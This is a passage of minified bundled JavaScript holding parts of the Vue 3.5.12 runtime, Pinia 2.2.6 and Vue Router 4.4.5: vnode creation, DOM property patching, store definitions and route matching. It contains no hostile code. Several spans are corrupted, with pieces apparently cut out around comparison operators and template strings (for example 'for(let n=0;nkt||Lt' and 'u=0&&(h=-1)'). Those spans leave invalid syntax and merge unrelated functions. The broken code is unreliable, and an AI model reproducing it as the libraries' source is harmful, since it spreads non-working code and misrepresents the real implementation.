e=="number"&&(e=""+e),e!=null?Nt(e)||yt(e)||Re(e)?{i:Lt,r:e,k:t,f:!!n}:e:null);function qu(e,t=null,n=null,s=0,o=null,a=e===en?0:1,c=!1,u=!1){const h={__v_isVNode:!0,__v_skip:!0,type:e,props:t,key:t&&Vg(t),ref:t&&Yo(t),scopeId:yg,slotScopeIds:null,children:n,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetStart:null,targetAnchor:null,staticCount:0,shapeFlag:a,patchFlag:s,dynamicProps:o,dynamicChildren:null,appContext:null,ctx:Lt};return u?(Ku(h,n),a&128&&e.normalize(h)):n&&(h.shapeFlag|=Nt(n)?8:16),Pi>0&&!c&&gn&&(h.patchFlag>0||a&6)&&h.patchFlag!==32&&gn.push(h),h}const Mt=RO;function RO(e,t=null,n=null,s=0,o=null,a=!1){if((!e||e===jT)&&(e=Ur),ki(e)){const u=Bs(e,t,!0);return n&&Ku(u,n),Pi>0&&!a&&gn&&(u.shapeFlag&6?gn[gn.indexOf(e)]=u:gn.push(u)),u.patchFlag=-2,u}if(BO(e)&&(e=e.__vccOpts),t){t=AO(t);let{class:u,style:h}=t;u&&!Nt(u)&&(t.class=Ru(u)),pt(h)&&(Du(h)&&!we(h)&&(h=Ft({},h)),t.style=Ou(h))}const c=Nt(e)?1:$g(e)?128:MT(e)?64:pt(e)?4:Re(e)?2:0;return qu(e,t,n,s,o,c,a,!0)}function AO(e){return e?Du(e)||Cg(e)?Ft({},e):e:null}function Bs(e,t,n=!1,s=!1){const{props:o,ref:a,patchFlag:c,children:u,transition:h}=e,d=t?LO(o||{},t):o,m={__v_isVNode:!0,__v_skip:!0,type:e.type,props:d,key:d&&Vg(d),ref:t&&t.ref?n&&a?we(a)?a.concat(Yo(t)):[a,Yo(t)]:Yo(t):a,scopeId:e.scopeId,slotScopeIds:e.slotScopeIds,children:u,target:e.target,targetStart:e.targetStart,targetAnchor:e.targetAnchor,staticCount:e.staticCount,shapeFlag:e.shapeFlag,patchFlag:t&&e.type!==en?c===-1?16:c|16:c,dynamicProps:e.dynamicProps,dynamicChildren:e.dynamicChildren,appContext:e.appContext,dirs:e.dirs,transition:h,component:e.component,suspense:e.suspense,ssContent:e.ssContent&&Bs(e.ssContent),ssFallback:e.ssFallback&&Bs(e.ssFallback),el:e.el,anchor:e.anchor,ctx:e.ctx,ce:e.ce};return h&&s&&Bu(m,h.clone(m)),m}function CO(e=" ",t=0){return Mt(Ki,null,e,t)}function bN(e,t){const n=Mt(jo,null,e);return n.staticCount=t,n}function xO(e="",t=!1){return t?(Ni(),Vc(Ur,null,e)):Mt(Ur,null,e)}function Yn(e){return e==null||typeof e=="boolean"?Mt(Ur):we(e)?Mt(en,null,e.slice()):ki(e)?Pr(e):Mt(Ki,null,String(e))}function Pr(e){return e.el===null&&e.patchFlag!==-1||e.memo?e:Bs(e)}function Ku(e,t){let n=0;const{shapeFlag:s}=e;if(t==null)t=null;else if(we(t))n=16;else if(typeof t=="object")if(s&65){const o=t.default;o&&(o._c&&(o._d=!1),Ku(e,o()),o._c&&(o._d=!0));return}else{n=32;const o=t._;!o&&!Cg(t)?t._ctx=Lt:o===3&&Lt&&(Lt.slots._===1?t._=1:(t._=2,e.patchFlag|=1024))}else Re(t)?(t={default:t,_ctx:Lt},n=32):(t=String(t),s&64?(n=16,t=[CO(t)]):n=8);e.children=t,e.shapeFlag|=n}function LO(...e){const t={};for(let n=0;nkt||Lt;let ha,qc;{const e=Oa(),t=(n,s)=>{let o;return(o=e[n])||(o=e[n]=[]),o.push(s),a=>{o.length>1?o.forEach(c=>c(a)):o[0](a)}};ha=t("__VUE_INSTANCE_SETTERS__",n=>kt=n),qc=t("__VUE_SSR_SETTERS__",n=>Mi=n)}const zi=e=>{const t=kt;return ha(e),e.scope.on(),()=>{e.scope.off(),ha(t)}},ip=()=>{kt&&kt.scope.off(),ha(null)};function qg(e){return e.vnode.shapeFlag&4}let Mi=!1;function kO(e,t=!1,n=!1){t&&qc(t);const{props:s,children:o}=e.vnode,a=qg(e);iO(e,s,a,t),cO(e,o,n);const c=a?DO(e,t):void 0;return t&&qc(!1),c}function DO(e,t){const n=e.type;e.accessCache=Object.create(null),e.proxy=new Proxy(e.ctx,JT);const{setup:s}=n;if(s){Br();const o=e.setupContext=s.length>1?FO(e):null,a=zi(e),c=qi(s,e,0,[e.props,o]),u=$m(c);if($r(),a(),(u||e.sp)&&!Fs(e)&&bg(e),u){if(c.then(ip,ip),t)return c.then(h=>{op(e,h,t)}).catch(h=>{Ra(h,e,0)});e.asyncDep=c}else op(e,c,t)}else Kg(e,t)}function op(e,t,n){Re(t)?e.type.__ssrInlineRender?e.ssrRender=t:e.render=t:pt(t)&&(e.setupState=dg(t)),Kg(e,n)}let ap;function Kg(e,t,n){const s=e.type;if(!e.render){if(!t&&ap&&!s.render){const o=s.template||Hu(e).template;if(o){const{isCustomElement:a,compilerOptions:c}=e.appContext.config,{delimiters:u,compilerOptions:h}=s,d=Ft(Ft({isCustomElement:a,delimiters:u},c),h);s.render=ap(o,d)}}e.render=s.render||Fn}{const o=zi(e);Br();try{XT(e)}finally{$r(),o()}}}const MO={get(e,t){return Kt(e,"get",""),e[t]}};function FO(e){const t=n=>{e.exposed=n||{}};return{attrs:new Proxy(e.attrs,MO),slots:e.slots,emit:e.emit,expose:t}}function xa(e){return e.exposed?e.exposeProxy||(e.exposeProxy=new Proxy(dg(Mu(e.exposed)),{get(t,n){if(n in t)return t[n];if(n in Oi)return Oi[n](e)},has(t,n){return n in t||n in Oi}})):e.proxy}function UO(e,t=!0){return Re(e)?e.displayName||e.name:e.name||t&&e.__name}function BO(e){return Re(e)&&"__vccOpts"in e}const Dt=(e,t)=>CT(e,t,Mi);function La(e,t,n){const s=arguments.length;return s===2?pt(t)&&!we(t)?ki(t)?Mt(e,null,[t]):Mt(e,t):Mt(e,null,t):(s>3?n=Array.prototype.slice.call(arguments,2):s===3&&ki(n)&&(n=[n]),Mt(e,t,n))}const $O="3.5.12";/** * @vue/runtime-dom v3.5.12 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **/let Kc;const lp=typeof window<"u"&&window.trustedTypes;if(lp)try{Kc=lp.createPolicy("vue",{createHTML:e=>e})}catch{}const zg=Kc?e=>Kc.createHTML(e):e=>e,WO="http://www.w3.org/2000/svg",HO="http://www.w3.org/1998/Math/MathML",fr=typeof document<"u"?document:null,cp=fr&&fr.createElement("template"),VO={insert:(e,t,n)=>{t.insertBefore(e,n||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,n,s)=>{const o=t==="svg"?fr.createElementNS(WO,e):t==="mathml"?fr.createElementNS(HO,e):n?fr.createElement(e,{is:n}):fr.createElement(e);return e==="select"&&s&&s.multiple!=null&&o.setAttribute("multiple",s.multiple),o},createText:e=>fr.createTextNode(e),createComment:e=>fr.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>fr.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,n,s,o,a){const c=n?n.previousSibling:t.lastChild;if(o&&(o===a||o.nextSibling))for(;t.insertBefore(o.cloneNode(!0),n),!(o===a||!(o=o.nextSibling)););else{cp.innerHTML=zg(s==="svg"?`${e}`:s==="mathml"?`${e}`:e);const u=cp.content;if(s==="svg"||s==="mathml"){const h=u.firstChild;for(;h.firstChild;)u.appendChild(h.firstChild);u.removeChild(h)}t.insertBefore(u,n)}return[c?c.nextSibling:t.firstChild,n?n.previousSibling:t.lastChild]}},qO=Symbol("_vtc");function KO(e,t,n){const s=e[qO];s&&(t=(t?[t,...s]:[...s]).join(" ")),t==null?e.removeAttribute("class"):n?e.setAttribute("class",t):e.className=t}const up=Symbol("_vod"),zO=Symbol("_vsh"),GO=Symbol(""),jO=/(^|;)\s*display\s*:/;function YO(e,t,n){const s=e.style,o=Nt(n);let a=!1;if(n&&!o){if(t)if(Nt(t))for(const c of t.split(";")){const u=c.slice(0,c.indexOf(":")).trim();n[u]==null&&Jo(s,u,"")}else for(const c in t)n[c]==null&&Jo(s,c,"");for(const c in n)c==="display"&&(a=!0),Jo(s,c,n[c])}else if(o){if(t!==n){const c=s[GO];c&&(n+=";"+c),s.cssText=n,a=jO.test(n)}}else t&&e.removeAttribute("style");up in e&&(e[up]=a?s.display:"",e[zO]&&(s.display="none"))}const fp=/\s*!important$/;function Jo(e,t,n){if(we(n))n.forEach(s=>Jo(e,t,s));else if(n==null&&(n=""),t.startsWith("--"))e.setProperty(t,n);else{const s=JO(e,t);fp.test(n)?e.setProperty(fs(s),n.replace(fp,""),"important"):e[s]=n}}const hp=["Webkit","Moz","ms"],dc={};function JO(e,t){const n=dc[t];if(n)return n;let s=Ln(t);if(s!=="filter"&&s in e)return dc[t]=s;s=Ta(s);for(let o=0;opc||(eR.then(()=>pc=0),pc=Date.now());function nR(e,t){const n=s=>{if(!s._vts)s._vts=Date.now();else if(s._vts<=n.attached)return;Jn(rR(s,n.value),t,5,[s])};return n.value=e,n.attached=tR(),n}function rR(e,t){if(we(t)){const n=e.stopImmediatePropagation;return e.stopImmediatePropagation=()=>{n.call(e),e._stopped=!0},t.map(s=>o=>!o._stopped&&s&&s(o))}else return t}const yp=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&e.charCodeAt(2)>96&&e.charCodeAt(2)<123,sR=(e,t,n,s,o,a)=>{const c=o==="svg";t==="class"?KO(e,s,c):t==="style"?YO(e,n,s):Ea(t)?wu(t)||QO(e,t,n,s,a):(t[0]==="."?(t=t.slice(1),!0):t[0]==="^"?(t=t.slice(1),!1):iR(e,t,s,c))?(mp(e,t,s),!e.tagName.includes("-")&&(t==="value"||t==="checked"||t==="selected")&&pp(e,t,s,c,a,t!=="value")):e._isVueCE&&(/[A-Z]/.test(t)||!Nt(s))?mp(e,Ln(t),s,a,t):(t==="true-value"?e._trueValue=s:t==="false-value"&&(e._falseValue=s),pp(e,t,s,c))};function iR(e,t,n,s){if(s)return!!(t==="innerHTML"||t==="textContent"||t in e&&yp(t)&&Re(n));if(t==="spellcheck"||t==="draggable"||t==="translate"||t==="form"||t==="list"&&e.tagName==="INPUT"||t==="type"&&e.tagName==="TEXTAREA")return!1;if(t==="width"||t==="height"){const o=e.tagName;if(o==="IMG"||o==="VIDEO"||o==="CANVAS"||o==="SOURCE")return!1}return yp(t)&&Nt(n)?!1:t in e}const bp=e=>{const t=e.props["onUpdate:modelValue"]||!1;return we(t)?n=>zo(t,n):t};function oR(e){e.target.composing=!0}function vp(e){const t=e.target;t.composing&&(t.composing=!1,t.dispatchEvent(new Event("input")))}const mc=Symbol("_assign"),vN={created(e,{modifiers:{lazy:t,trim:n,number:s}},o){e[mc]=bp(o);const a=s||o.props&&o.props.type==="number";Ls(e,t?"change":"input",c=>{if(c.target.composing)return;let u=e.value;n&&(u=u.trim()),a&&(u=Pc(u)),e[mc](u)}),n&&Ls(e,"change",()=>{e.value=e.value.trim()}),t||(Ls(e,"compositionstart",oR),Ls(e,"compositionend",vp),Ls(e,"change",vp))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,oldValue:n,modifiers:{lazy:s,trim:o,number:a}},c){if(e[mc]=bp(c),e.composing)return;const u=(a||e.type==="number")&&!/^0\d/.test(e.value)?Pc(e.value):e.value,h=t??"";u!==h&&(document.activeElement===e&&e.type!=="range"&&(s&&t===n||o&&e.value.trim()===h)||(e.value=h))}},aR=["ctrl","shift","alt","meta"],lR={stop:e=>e.stopPropagation(),prevent:e=>e.preventDefault(),self:e=>e.target!==e.currentTarget,ctrl:e=>!e.ctrlKey,shift:e=>!e.shiftKey,alt:e=>!e.altKey,meta:e=>!e.metaKey,left:e=>"button"in e&&e.button!==0,middle:e=>"button"in e&&e.button!==1,right:e=>"button"in e&&e.button!==2,exact:(e,t)=>aR.some(n=>e[`${n}Key`]&&!t.includes(n))},EN=(e,t)=>{const n=e._withMods||(e._withMods={}),s=t.join(".");return n[s]||(n[s]=(o,...a)=>{for(let c=0;c{const t=uR().createApp(...e),{mount:n}=t;return t.mount=s=>{const o=dR(s);if(!o)return;const a=t._component;!Re(a)&&!a.render&&!a.template&&(a.template=o.innerHTML),o.nodeType===1&&(o.textContent="");const c=n(o,!1,hR(o));return o instanceof Element&&(o.removeAttribute("v-cloak"),o.setAttribute("data-v-app","")),c},t};function hR(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function dR(e){return Nt(e)?document.querySelector(e):e}var pR=!1;/*! * pinia v2.2.6 * (c) 2024 Eduardo San Martin Morote * @license MIT */let Gg;const Ia=e=>Gg=e,jg=Symbol();function zc(e){return e&&typeof e=="object"&&Object.prototype.toString.call(e)==="[object Object]"&&typeof e.toJSON!="function"}var Ai;(function(e){e.direct="direct",e.patchObject="patch object",e.patchFunction="patch function"})(Ai||(Ai={}));function mR(){const e=Au(!0),t=e.run(()=>Wr({}));let n=[],s=[];const o=Mu({install(a){Ia(o),o._a=a,a.provide(jg,o),a.config.globalProperties.$pinia=o,s.forEach(c=>n.push(c)),s=[]},use(a){return!this._a&&!pR?s.push(a):n.push(a),this},_p:n,_a:null,_e:e,_s:new Map,state:t});return o}const Yg=()=>{};function wp(e,t,n,s=Yg){e.push(t);const o=()=>{const a=e.indexOf(t);a>-1&&(e.splice(a,1),s())};return!n&&jm()&&nT(o),o}function Cs(e,...t){e.slice().forEach(n=>{n(...t)})}const gR=e=>e(),Sp=Symbol(),gc=Symbol();function Gc(e,t){e instanceof Map&&t instanceof Map?t.forEach((n,s)=>e.set(s,n)):e instanceof Set&&t instanceof Set&&t.forEach(e.add,e);for(const n in t){if(!t.hasOwnProperty(n))continue;const s=t[n],o=e[n];zc(o)&&zc(s)&&e.hasOwnProperty(n)&&!yt(s)&&!os(s)?e[n]=Gc(o,s):e[n]=s}return e}const _R=Symbol();function yR(e){return!zc(e)||!e.hasOwnProperty(_R)}const{assign:Ir}=Object;function bR(e){return!!(yt(e)&&e.effect)}function vR(e,t,n,s){const{state:o,actions:a,getters:c}=t,u=n.state.value[e];let h;function d(){u||(n.state.value[e]=o?o():{});const m=TT(n.state.value[e]);return Ir(m,a,Object.keys(c||{}).reduce((g,w)=>(g[w]=Mu(Dt(()=>{Ia(n);const O=n._s.get(e);return c[w].call(O,O)})),g),{}))}return h=Jg(e,d,t,n,s,!0),h}function Jg(e,t,n={},s,o,a){let c;const u=Ir({actions:{}},n),h={deep:!0};let d,m,g=[],w=[],O;const P=s.state.value[e];!a&&!P&&(s.state.value[e]={}),Wr({});let F;function D(ae){let se;d=m=!1,typeof ae=="function"?(ae(s.state.value[e]),se={type:Ai.patchFunction,storeId:e,events:O}):(Gc(s.state.value[e],ae),se={type:Ai.patchObject,payload:ae,storeId:e,events:O});const Ae=F=Symbol();Fu().then(()=>{F===Ae&&(d=!0)}),m=!0,Cs(g,se,s.state.value[e])}const R=a?function(){const{state:se}=n,Ae=se?se():{};this.$patch(Ve=>{Ir(Ve,Ae)})}:Yg;function N(){c.stop(),g=[],w=[],s._s.delete(e)}const U=(ae,se="")=>{if(Sp in ae)return ae[gc]=se,ae;const Ae=function(){Ia(s);const Ve=Array.from(arguments),Me=[],qe=[];function $t(me){Me.push(me)}function Wt(me){qe.push(me)}Cs(w,{args:Ve,name:Ae[gc],store:q,after:$t,onError:Wt});let We;try{We=ae.apply(this&&this.$id===e?this:q,Ve)}catch(me){throw Cs(qe,me),me}return We instanceof Promise?We.then(me=>(Cs(Me,me),me)).catch(me=>(Cs(qe,me),Promise.reject(me))):(Cs(Me,We),We)};return Ae[Sp]=!0,Ae[gc]=se,Ae},x={_p:s,$id:e,$onAction:wp.bind(null,w),$patch:D,$reset:R,$subscribe(ae,se={}){const Ae=wp(g,ae,se.detached,()=>Ve()),Ve=c.run(()=>Mr(()=>s.state.value[e],Me=>{(se.flush==="sync"?m:d)&&ae({storeId:e,type:Ai.direct,events:O},Me)},Ir({},h,se)));return Ae},$dispose:N},q=Vi(x);s._s.set(e,q);const W=(s._a&&s._a.runWithContext||gR)(()=>s._e.run(()=>(c=Au()).run(()=>t({action:U}))));for(const ae in W){const se=W[ae];if(yt(se)&&!bR(se)||os(se))a||(P&&yR(se)&&(yt(se)?se.value=P[ae]:Gc(se,P[ae])),s.state.value[e][ae]=se);else if(typeof se=="function"){const Ae=U(se,ae);W[ae]=Ae,u.actions[ae]=se}}return Ir(q,W),Ir(Ke(q),W),Object.defineProperty(q,"$state",{get:()=>s.state.value[e],set:ae=>{D(se=>{Ir(se,ae)})}}),s._p.forEach(ae=>{Ir(q,c.run(()=>ae({store:q,app:s._a,pinia:s,options:u})))}),P&&a&&n.hydrate&&n.hydrate(q.$state,P),d=!0,m=!0,q}/*! #__NO_SIDE_EFFECTS__ */function ER(e,t,n){let s,o;const a=typeof t=="function";typeof e=="string"?(s=e,o=a?n:t):(o=e,s=e.id);function c(u,h){const d=sO();return u=u||(d?_n(jg,null):null),u&&Ia(u),u=Gg,u._s.has(s)||(a?Jg(s,t,o,u):vR(s,o,u)),u._s.get(s)}return c.$id=s,c}/*! * vue-router v4.4.5 * (c) 2024 Eduardo San Martin Morote * @license MIT */const Is=typeof document<"u";function Xg(e){return typeof e=="object"||"displayName"in e||"props"in e||"__vccOpts"in e}function wR(e){return e.__esModule||e[Symbol.toStringTag]==="Module"||e.default&&Xg(e.default)}const ft=Object.assign;function _c(e,t){const n={};for(const s in t){const o=t[s];n[s]=Wn(o)?o.map(e):e(o)}return n}const Ci=()=>{},Wn=Array.isArray,Qg=/#/g,SR=/&/g,TR=/\//g,OR=/=/g,RR=/\?/g,Zg=/\+/g,AR=/%5B/g,CR=/%5D/g,e_=/%5E/g,xR=/%60/g,t_=/%7B/g,LR=/%7C/g,n_=/%7D/g,IR=/%20/g;function zu(e){return encodeURI(""+e).replace(LR,"|").replace(AR,"[").replace(CR,"]")}function NR(e){return zu(e).replace(t_,"{").replace(n_,"}").replace(e_,"^")}function jc(e){return zu(e).replace(Zg,"%2B").replace(IR,"+").replace(Qg,"%23").replace(SR,"%26").replace(xR,"`").replace(t_,"{").replace(n_,"}").replace(e_,"^")}function PR(e){return jc(e).replace(OR,"%3D")}function kR(e){return zu(e).replace(Qg,"%23").replace(RR,"%3F")}function DR(e){return e==null?"":kR(e).replace(TR,"%2F")}function Fi(e){try{return decodeURIComponent(""+e)}catch{}return""+e}const MR=/\/$/,FR=e=>e.replace(MR,"");function yc(e,t,n="/"){let s,o={},a="",c="";const u=t.indexOf("#");let h=t.indexOf("?");return u=0&&(h=-1),h>-1&&(s=t.slice(0,h),a=t.slice(h+1,u>-1?u:t.length),o=e(a)),u>-1&&(s=s||t.slice(0,u),c=t.slice(u,t.length)),s=WR(s??t,n),{fullPath:s+(a&&"?")+a+c,path:s,query:o,hash:Fi(c)}}function UR(e,t){const n=t.query?e(t.query):"";return t.path+(n&&"?")+n+(t.hash||"")}function BR(e,t,n){const s=t.matched.length-1,o=n.matched.length-1;return s>-1&&s===o&&$s(t.matched[s],n.matched[o])&&r_(t.params,n.params)&&e(t.query)===e(n.query)&&t.hash===n.hash}function $s(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function r_(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(!$R(e[n],t[n]))return!1;return!0}function $R(e,t){return Wn(e)?Tp(e,t):Wn(t)?Tp(t,e):e===t}function Tp(e,t){return Wn(t)?e.length===t.length&&e.every((n,s)=>n===t[s]):e.length===1&&e[0]===t}function WR(e,t){if(e.startsWith("/"))return e;if(!e)return t;const n=t.split("/"),s=e.split("/"),o=s[s.length-1];(o===".."||o===".")&&s.push("");let a=n.length-1,c,u;for(c=0;c1&&a--;else break;return n.slice(0,a).join("/")+"/"+s.slice(c).join("/")}const Ar={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0};var Ui;(function(e){e.pop="pop",e.push="push"})(Ui||(Ui={}));var da;(function(e){e.back="back",e.forward="forward",e.unknown=""})(da||(da={}));const bc="";function HR(e){if(!e)if(Is){const t=document.querySelector("base");e=t&&t.getAttribute("href")||"/",e=e.replace(/^\w+:\/\/[^\/]+/,"")}else e="/";return e[0]!=="/"&&e[0]!=="#"&&(e="/"+e),FR(e)}const VR=/^[^#]+#/;function qR(e,t){return e.replace(VR,"#")+t}function KR(e,t){const n=document.documentElement.getBoundingClientRect(),s=e.getBoundingClientRect();return{behavior:t.behavior,left:s.left-n.left-(t.left||0),top:s.top-n.top-(t.top||0)}}const zR=()=>({left:window.scrollX,top:window.scrollY});function GR(e){let t;if("el"in e){const n=e.el,s=typeof n=="string"&&n.startsWith("#"),o=typeof n=="string"?s?document.getElementById(n.slice(1)):document.querySelector(n):n;if(!o)return;t=KR(o,e)}else t=e;"scrollBehavior"in document.documentElement.style?window.scrollTo(t):window.scrollTo(t.left!=null?t.left:window.scrollX,t.top!=null?t.top:window.scrollY)}function Op(e,t){return(history.state?history.state.position-t:-1)+e}const Yc=new Map;function jR(e,t){Yc.set(e,t)}function YR(e){const t=Yc.get(e);return Yc.delete(e),t}function JR(e=""){let t=[],n=[bc],s=0;e=HR(e);function o(u){s++,s!==n.length&&n.splice(s),n.push(u)}function a(u,h,{direction:d,delta:m}){const g={direction:d,delta:m,type:Ui.pop};for(const w of t)w(u,h,g)}const c={location:bc,state:{},base:e,createHref:qR.bind(null,e),replace(u){n.splice(s--,1),o(u)},push(u,h){o(u)},listen(u){return t.push(u),()=>{const h=t.indexOf(u);h>-1&&t.splice(h,1)}},destroy(){t=[],n=[bc],s=0},go(u,h=!0){const d=this.location,m=u<0?da.back:da.forward;s=Math.max(0,Math.min(s+u,n.length-1)),h&&a(this.location,d,{direction:m,delta:u})}};return Object.defineProperty(c,"location",{enumerable:!0,get:()=>n[s]}),c}function XR(e){return typeof e=="string"||e&&typeof e=="object"}function s_(e){return typeof e=="string"||typeof e=="symbol"}const i_=Symbol("");var Rp;(function(e){e[e.aborted=4]="aborted",e[e.cancelled=8]="cancelled",e[e.duplicated=16]="duplicated"})(Rp||(Rp={}));function Ws(e,t){return ft(new Error,{type:e,[i_]:!0},t)}function cr(e,t){return e instanceof Error&&i_ in e&&(t==null||!!(e.type&t))}const Ap="[^/]+?",QR={sensitive:!1,strict:!1,start:!0,end:!0},ZR=/[.+*?^${}()[\]/\\]/g;function eA(e,t){const n=ft({},QR,t),s=[];let o=n.start?"^":"";const a=[];for(const d of e){const m=d.length?[]:[90];n.strict&&!d.length&&(o+="/");for(let g=0;gt.length?t.length===1&&t[0]===40+40?1:-1:0}function o_(e,t){let n=0;const s=e.score,o=t.score;for(;n0&&t[t.length-1]<0}const nA={type:0,value:""},rA=/[a-zA-Z0-9_]/;function sA(e){if(!e)return[[]];if(e==="/")return[[nA]];if(!e.startsWith("/"))throw new Error(`Invalid path "${e}"`);function t(O){throw new Error(`ERR (${n})/"${d}": ${O}`)}let n=0,s=n;const o=[];let a;function c(){a&&o.push(a),a=[]}let u=0,h,d="",m="";function g(){d&&(n===0?a.push({type:0,value:d}):n===1||n===2||n===3?(a.length>1&&(h==="*"||h==="+")&&t(`A repeatable param (${d}) must be alone in its segment. eg: '/:ids+.`),a.push({type:1,value:d,regexp:m,repeatable:h==="*"||h==="+",optional:h==="*"||h==="?"})):t("Invalid state to consume buffer"),d="")}function w(){d+=h}for(;u{c(U)}:Ci}function c(g){if(s_(g)){const w=s.get(g);w&&(s.delete(g),n.splice(n.indexOf(w),1),w.children.forEach(c),w.alias.forEach(c))}else{const w=n.indexOf(g);w>-1&&(n.splice(w,1),g.record.name&&s.delete(g.record.name),g.children.forEach(c),g.alias.forEach(c))}}function u(){return n}function h(g){const w=cA(g,n);n.splice(w,0,g),g.record.name&&!Ip(g)&&s.set(g.record.name,g)}function d(g,w){let O,P={},F,D;if("name"in g&&g.name){if(O=s.get(g.name),!O)throw Ws(1,{location:g});D=O.record.name,P=ft(xp(w.params,O.keys.filter(U=>!U.optional).concat(O.parent?O.parent.keys.filter(U=>U.optional):[]).map(U=>U.name)),g.params&&xp(g.params,O.keys.map(U=>U.name))),F=O.stringify(P)}else if(g.path!=null)F=g.path,O=n.find(U=>U.re.test(F)),O&&(P=O.parse(F),D=O.record.name);else{if(O=w.name?s.get(w.name):n.find(U=>U.re.test(w.path)),!O)throw Ws(1,{location:g,currentLocation:w});D=O.record.name,P=ft({},w.params,g.params),F=O.stringify(P)}const R=[];let N=O;for(;N;)R.unshift(N.record),N=N.parent;return{name:D,path:F,params:P,matched:R,meta:lA(R)}}e.forEach(g=>a(g));function m(){n.length=0,s.clear()}return{addRoute:a,resolve:d,removeRoute:c,clearRoutes:m,getRoutes:u,getRecordMatcher:o}}function xp(e,t){const n={};for(const s of t)s in e&&(n[s]=e[s]);return n}function Lp(e){const t={path:e.path,redirect:e.redirect,name:e.name,meta:e.meta||{},aliasOf:e.aliasOf,beforeEnter:e.beforeEnter,props:aA(e),children:e.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in e?e.components||null:e.component&&{default:e.component}};return Object.defineProperty(t,"mods",{value:{}}),t}function aA(e){const t={},n=e.props||!1;if("component"in e)t.default=n;else for(const s in e.components)t[s]=typeof n=="object"?n[s]:n;return t}function Ip(e){for(;e;){if(e.record.aliasOf)return!0;e=e.parent}return!1}function lA(e){return e.reduce((t,n)=>ft(t,n.meta),{})}function Np(e,t){const n={};for(const s in e)n[s]=s in t?t[s]:e[s];return n}function cA(e,t){let n=0,s=t.length;for(;n!==s;){const a=n+s>>1;o_(e,t[a])<0?s=a:n=a+1}const o=uA(e);return o&&(s=t.lastIndexOf(o,s-1)),s}function uA(e){let t=e;for(;t=t.parent;)if(a_(t)&&o_(e,t)===0)return t}function a_({record:e}){return!!(e.name||e.components&&Object.keys(e.components).length||e.redirect)}function fA(e){const t={};if(e===""||e==="?")return t;const s=(e[0]==="?"?e.slice(1):e).split("&");for(let o=0;oa&&jc(a)):[s&&jc(s)]).forEach(a=>{a!==void 0&&(t+=(t.length?"&":"")+n,a!=null&&(t+="="+a))})}return t}function hA(e){const t={};for(const n in e){const s=e[n];s!==void 0&&(t[n]=Wn(s)?s.map(o=>o==null?null:""+o):s==null?s:""+s)}return t}const dA=Symbol(""),kp=Symbol(""),Na=Symbol(""),Gu=Symbol(""),Jc=Symbol("");function mi(){let e=[];function t(s){return e.push(s),()=>{const o=e.indexOf(s);o>-1&&e.splice(o,1)}}function n(){e=[]}return{add:t,list:()=>e.slice(),reset:n}}function kr(e,t,n,s,o,a=c=>c()){const c=s&&(s.enterCallbacks[o]=s.enterCallbacks[o]||[]);return()=>new Promise((u,h)=>{const d=w=>{w===!1?h(Ws(4,{from:n,to:t})):w instanceof Error?h(w):XR(w)?h(Ws(2,{from:t,to:w})):(c&&s.enterCallbacks[o]===c&&typeof w=="function"&&c.push(w),u())},m=a(()=>e.call(s&&s.instances[o],t,n,d));let g=Promise.resolve(m);e.length<3&&(g=g.then(d)),g.catch(w=>h(w))})}function vc(e,t,n,s,o=a=>a()){const a=[];for(const c of e)for(const u in c.components){let h=c.components[u];if(!(t!=="beforeRouteEnter"&&!c.instances[u]))if(Xg(h)){const m=(h.__vccOpts||h)[t];m&&a.push(kr(m,n,s,c,u,o))}else{let d=h();a.push(()=>d.then(m=>{if(!m)throw new Error(`Couldn't resolve component "${u}" at "${c.path}"`);const g=wR(m)?m.default:m;c.mods[u]=m,c.components[u]=g;const O=(g.__vccOpts||g)[t];return O&&kr(O,n,s,c,u,o)()}))}}return a}function Dp(e){const t=_n(Na),n=_n(Gu),s=Dt(()=>{const h=as(e.to);return t.resolve(h)}),o=Dt(()=>{const{matched:h}=s.value,{length:d}=h,m=h[d-1],g=n.matched;if(!m||!g.length)return-1;const w=g.findIndex($s.bind(null,m));if(w>-1)return w;const O=Mp(h[d-2]);return d>1&&Mp(m)===O&&g[g.length-1].path!==O?g.findIndex($s.bind(null,h[d-2])):w}),a=Dt(()=>o.value>-1&&_A(n.params,s.value.params)),c=Dt(()=>o.value>-1&&o.value===n.matched.length-1&&r_(n.params,s.value.params));function u(h={}){return gA(h)?t[as(e.replace)?"replace":"push"](as(e.to)).catch(Ci):Promise.resolve()}return{route:s,href:Dt(()=>s.value.href),isActive:a,isExactActive:c,navigate:u}}const pA=hs({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"}},useLink:Dp,setup(e,{slots:t}){const n=Vi(Dp(e)),{options:s}=_n(Na),o=Dt(()=>({[Fp(e.activeClass,s.linkActiveClass,"router-link-active")]:n.isActive,[Fp(e.exactActiveClass,s.linkExactActiveClass,"router-link-exact-active")]:n.isExactActive}));return()=>{const a=t.default&&t.default(n);return e.custom?a:La("a",{"aria-current":n.isExactActive?e.ariaCurrentValue:null,href:n.href,onClick:n.navigate,class:o.value},a)}}}),mA=pA;function gA(e){if(!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)&&!e.defaultPrevented&&!(e.button!==void 0&&e.button!==0)){if(e.currentTarget&&e.currentTarget.getAttribute){const t=e.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(t))return}return e.preventDefault&&e.preventDefault(),!0}}function _A(e,t){for(const n in t){const s=t[n],o=e[n];if(typeof s=="string"){if(s!==o)return!1}else if(!Wn(o)||o.length!==s.length||s.some((a,c)=>a!==o[c]))return!1}return!0}function Mp(e){return 